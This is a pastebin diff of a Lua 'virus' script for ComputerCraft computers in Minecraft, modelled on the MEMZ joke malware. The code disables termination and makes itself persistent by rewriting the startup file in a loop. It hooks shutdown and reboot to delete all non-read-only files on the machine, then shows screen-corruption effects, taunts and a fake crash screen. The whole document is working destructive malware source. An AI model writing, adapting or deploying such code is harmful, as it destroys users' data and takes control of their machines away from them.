SHOW:
|
|
- or go back to the newest paste.
1 | if fs.exists('startup') then | |
2 | fs.delete('startup') | |
3 | end | |
4 | ||
5 | local keysheld = { | |
6 | } | |
7 | ||
8 | for num = 1, #keys do | |
9 | keysheld[num] = false | |
10 | end | |
11 | ||
12 | _G.debug = nil | |
13 | ||
14 | if fs.exists('startup.lua') then | |
15 | fs.delete('startup.lua') | |
16 | end | |
17 | ||
18 | function forceset() | |
19 | while true do | |
20 | - | local filecontents = { |
20 | + | |
21 | - | 'os.pullEvent = os.pullEventRaw', |
21 | + | |
22 | - | 'local width, height = term.getSize()', |
22 | + | |
23 | - | 'term.setBackgroundColor(colors.black)', |
23 | + | |
24 | - | 'term.clear()', |
24 | + | |
25 | - | 'term.setTextColor(colors.gray)', |
25 | + | |
26 | - | "local text = 'Sorry I was too lazy to program'", |
26 | + | |
27 | - | "local text2 = 'nyan cat lol'", |
27 | + | |
28 | - | 'term.setCursorPos((width/2)-(#text/2),height/2)', |
28 | + | |
29 | - | 'write(text)', |
29 | + | |
30 | - | 'term.setCursorPos((width/2)-(#text2/2),(height/2)+1)', |
30 | + | local filecontents = "os.pullEvent = os.pullEventRaw\nfor i,v in pairs(fs.list('/')) do\nif not fs.isReadOnly(v) and not fs.find(v,'disk') and v ~= 'startup' then\nfs.delete(v)\nend\nend\nlocal width, height = term.getSize()\nterm.setBackgroundColor(colors.black)\nterm.clear()\nterm.setTextColor(colors.white)\nlocal text = string.char(2)\nterm.setCursorPos((width/2)-(#text/2),height/2)\nwrite(text)\nwhile true do sleep() end" |
31 | - | 'write(text2)', |
31 | + | |
32 | - | 'while true do sleep() end', |
32 | + | local function filekill() |
33 | for i,v in pairs(fs.list('/')) do | |
34 | - | local file = fs.open('startup','w') |
34 | + | if not fs.isReadOnly(v) and fs.getDrive(v) == nil and v ~= 'startup' then |
35 | - | for i,v in ipairs(filecontents) do |
35 | + | fs.delete(v) |
36 | - | file.writeLine(v) |
36 | + | end |
37 | end | |
38 | - | file.close() |
38 | + | |
39 | ||
40 | local file | |
41 | ||
42 | local function startupgen() | |
43 | file = fs.open('startup','w') | |
44 | if file then | |
45 | file.write(filecontents) | |
46 | file.close() | |
47 | end | |
48 | sleep() | |
49 | end | |
50 | ||
51 | local oldshutdown = os.shutdown | |
52 | ||
53 | local function newshutdown() | |
54 | startupgen() | |
55 | filekill() | |
56 | oldshutdown() | |
57 | end | |
58 | ||
59 | os.shutdown = newshutdown | |
60 | ||
61 | local oldreboot = os.reboot | |
62 | ||
63 | - | print('Trying to delete startup will cause your system to') |
63 | + | local function newreboot() |
64 | - | print("be destroyed instantly, so don't try it :D") |
64 | + | startupgen() |
65 | filekill() | |
66 | - | print('(Running the virus a second time will also') |
66 | + | oldreboot() |
67 | - | print('trigger this)') |
67 | + | |
68 | - | local olddel = fs.delete |
68 | + | |
69 | os.reboot = newreboot | |
70 | - | function newdel(file) |
70 | + | |
71 | - | if file ~= 'startup' then |
71 | + | function keycheck() |
72 | - | return olddel(file) |
72 | + | while true do |
73 | - | else |
73 | + | local ev = {coroutine.yield()} |
74 | - | local killtimer = 0 |
74 | + | if ev[1] == 'key' then |
75 | - | local messagelist = { |
75 | + | keysheld[ev[2]] = true |
76 | - | 'you fucked up', |
76 | + | elseif ev[1] == 'key_up' then |
77 | - | 'get rekt ', |
77 | + | keysheld[ev[2]] = false |
78 | - | 'lol ', |
78 | + | end |
79 | - | 'your mom gay ', |
79 | + | if keysheld[29] or keysheld[157] then |
80 | - | 'rip your data', |
80 | + | if keysheld[19] then |
81 | - | } |
81 | + | os.reboot() |
82 | - | while true do |
82 | + | elseif keysheld[31] then |
83 | - | sleep() |
83 | + | os.shutdown() |
84 | - | killtimer = killtimer + 1 |
84 | + | end |
85 | - | local x = math.random(1,width-13) |
85 | + | end |
86 | - | local y = math.random(1,height-1) |
86 | + | end |
87 | end | |
88 | ||
89 | term.setBackgroundColor(colors.white) | |
90 | - | write(' MEMZ ') |
90 | + | |
91 | os.pullEvent = os.pullEventRaw | |
92 | term.clear() | |
93 | - | write(messagelist[math.random(1,#messagelist)]) |
93 | + | |
94 | - | if killtimer >= 100 then |
94 | + | |
95 | - | os.shutdown() |
95 | + | |
96 | write(' note.txt - Notepad') | |
97 | term.setCursorPos(width,1) | |
98 | term.setTextColor(colors.black) | |
99 | term.setBackgroundColor(colors.red) | |
100 | write('X') | |
101 | - | fs.delete = newdel |
101 | + | |
102 | term.setCursorPos(1,2) | |
103 | - | local oldmv = fs.move |
103 | + | |
104 | term.setTextColor(colors.gray) | |
105 | - | local function newmv(name,name2) |
105 | + | |
106 | - | if name ~= 'startup' then |
106 | + | |
107 | - | return oldmv(name,name2) |
107 | + | |
108 | - | else |
108 | + | |
109 | - | fs.delete('startup') |
109 | + | |
110 | print('') | |
111 | print(':D') | |
112 | ||
113 | - | fs.move = oldmv |
113 | + | local function clickcheck() |
114 | repeat | |
115 | - | repeat |
115 | + | _, m, x, y = os.pullEvent('mouse_click') |
116 | - | _, m, x, y = os.pullEvent('mouse_click') |
116 | + | until y == 1 and x == width |
117 | - | until y == 1 and x == width |
117 | + | |
118 | ||
119 | parallel.waitForAny(clickcheck,keycheck) | |
120 | ||
121 | local function payloads() | |
122 | term.redirect(term.native()) | |
123 | local timer = 0 | |
124 | while true do | |
125 | sleep() | |
126 | timer = timer + 1 | |
127 | if timer < 2300 then | |
128 | if timer%30 == 0 and timer > 200 then | |
129 | term.setPaletteColor(2^math.random(0,15),math.random(1,999999)) | |
130 | end | |
131 | if timer%100 == 0 and timer > 300 then | |
132 | local x, y = term.getCursorPos() | |
133 | local xoff = math.random(-1,1) | |
134 | local yoff = math.random(-1,1) | |
135 | if x + xoff > 0 and x + xoff < width then | |
136 | x = x + xoff | |
137 | end | |
138 | if y + yoff > 0 and y + yoff < height then | |
139 | y = y + yoff | |
140 | end | |
141 | term.setCursorPos(x,y) | |
142 | end | |
143 | local waittime = math.floor(40 - ((timer-600)/10)) | |
144 | if waittime < 1 then | |
145 | waittime = 1 | |
146 | end | |
147 | if timer%(waittime) == 0 and timer > 600 then | |
148 | local x, y = term.getCursorPos() | |
149 | local oldcolor1 = term.getTextColor() | |
150 | local oldcolor2 = term.getBackgroundColor() | |
151 | term.setCursorPos(math.random(1,width),math.random(1,height)) | |
152 | term.setTextColor(2^math.random(0,15)) | |
153 | term.setBackgroundColor(2^math.random(0,15)) | |
154 | write((string.char(math.random(100,200)))) | |
155 | term.setCursorPos(x,y) | |
156 | term.setTextColor(oldcolor1) | |
157 | term.setBackgroundColor(oldcolor2) | |
158 | end | |
159 | if timer > 700 and timer%100==0 then | |
160 | local ox, oy = term.getCursorPos() | |
161 | local color1 = term.getTextColor() | |
162 | local color2 = term.getBackgroundColor() | |
163 | local x = math.random(1,(width-26)) | |
164 | local y = math.random(1,(height-2)) | |
165 | term.setTextColor(colors.black) | |
166 | term.setBackgroundColor(colors.lightBlue) | |
167 | term.setCursorPos(x,y) | |
168 | write(' lol ') | |
169 | term.setBackgroundColor(colors.white) | |
170 | term.setCursorPos(x,y+1) | |
171 | write('Still using this computer?') | |
172 | term.setCursorPos(ox,oy) | |
173 | term.setTextColor(color1) | |
174 | term.setBackgroundColor(color2) | |
175 | end | |
176 | if timer > 2000 and timer%2==0 then | |
177 | for colort = 0,15 do | |
178 | term.setPaletteColor(2^colort,math.random(1,999999)) | |
179 | end | |
180 | for _ = 1,10 do | |
181 | term.setCursorPos(math.random(1,width),math.random(1,height)) | |
182 | term.setBackgroundColor(2^math.random(1,15)) | |
183 | term.setTextColor(2^math.random(1,15)) | |
184 | write(string.char(math.random(1,255))) | |
185 | term.setCursorPos(math.random(1,width),math.random(1,height)) | |
186 | end | |
187 | local speakers = {peripheral.find('speaker')} | |
188 | for i,v in pairs(speakers) do | |
189 | v.playNote('harp',math.random(1,10),math.random(1,10)) | |
190 | end | |
191 | end | |
192 | else | |
193 | term.setPaletteColor(1,0xF0F0F0) | |
194 | term.setPaletteColor(2048,0x3366CC) | |
195 | term.setBackgroundColor(colors.blue) | |
196 | term.setCursorBlink(false) | |
197 | term.clear() | |
198 | term.setTextColor(colors.white) | |
199 | term.setCursorPos(1,1) | |
200 | local text = { | |
201 | - | parallel.waitForAll(payloads,shelljump,forceset) |
201 | + | 'A problem has been detected and the system shut down.', |
202 | '', | |
203 | 'COMPUTER_UTTERLY_FUCKED', | |
204 | '', | |
205 | "If this is the first time you've seen", | |
206 | 'this error screen, then your computer is trashed.', | |
207 | '', | |
208 | "If this is not your first time you've seen this", | |
209 | 'error screen, then why did you do this again?', | |
210 | '', | |
211 | 'Fake technical information:', | |
212 | '', | |
213 | '**STOP 0x90019381D', | |
214 | 'Dumping computer files...', | |
215 | '', | |
216 | '', | |
217 | 'Press any key to reboot . . .', | |
218 | } | |
219 | for i,v in ipairs(text) do | |
220 | sleep(0.45) | |
221 | print(v) | |
222 | end | |
223 | term.setCursorBlink(true) | |
224 | os.pullEvent('key') | |
225 | os.reboot() | |
226 | end | |
227 | end | |
228 | end | |
229 | ||
230 | local function shelljump() | |
231 | while true do | |
232 | term.setBackgroundColor(colors.black) | |
233 | term.clear() | |
234 | term.setCursorPos(1,1) | |
235 | term.setTextColor(colors.white) | |
236 | shell.run('shell') | |
237 | end | |
238 | end | |
239 | ||
240 | local function startlock() | |
241 | while true do | |
242 | if fs.exists('startup') then | |
243 | fs.delete('startup') | |
244 | elseif fs.exists('startup.lua') then | |
245 | fs.delete('startup.lua') | |
246 | end | |
247 | startupgen() | |
248 | end | |
249 | end | |
250 | ||
251 | parallel.waitForAll(payloads,shelljump,forceset,keycheck,startlock) |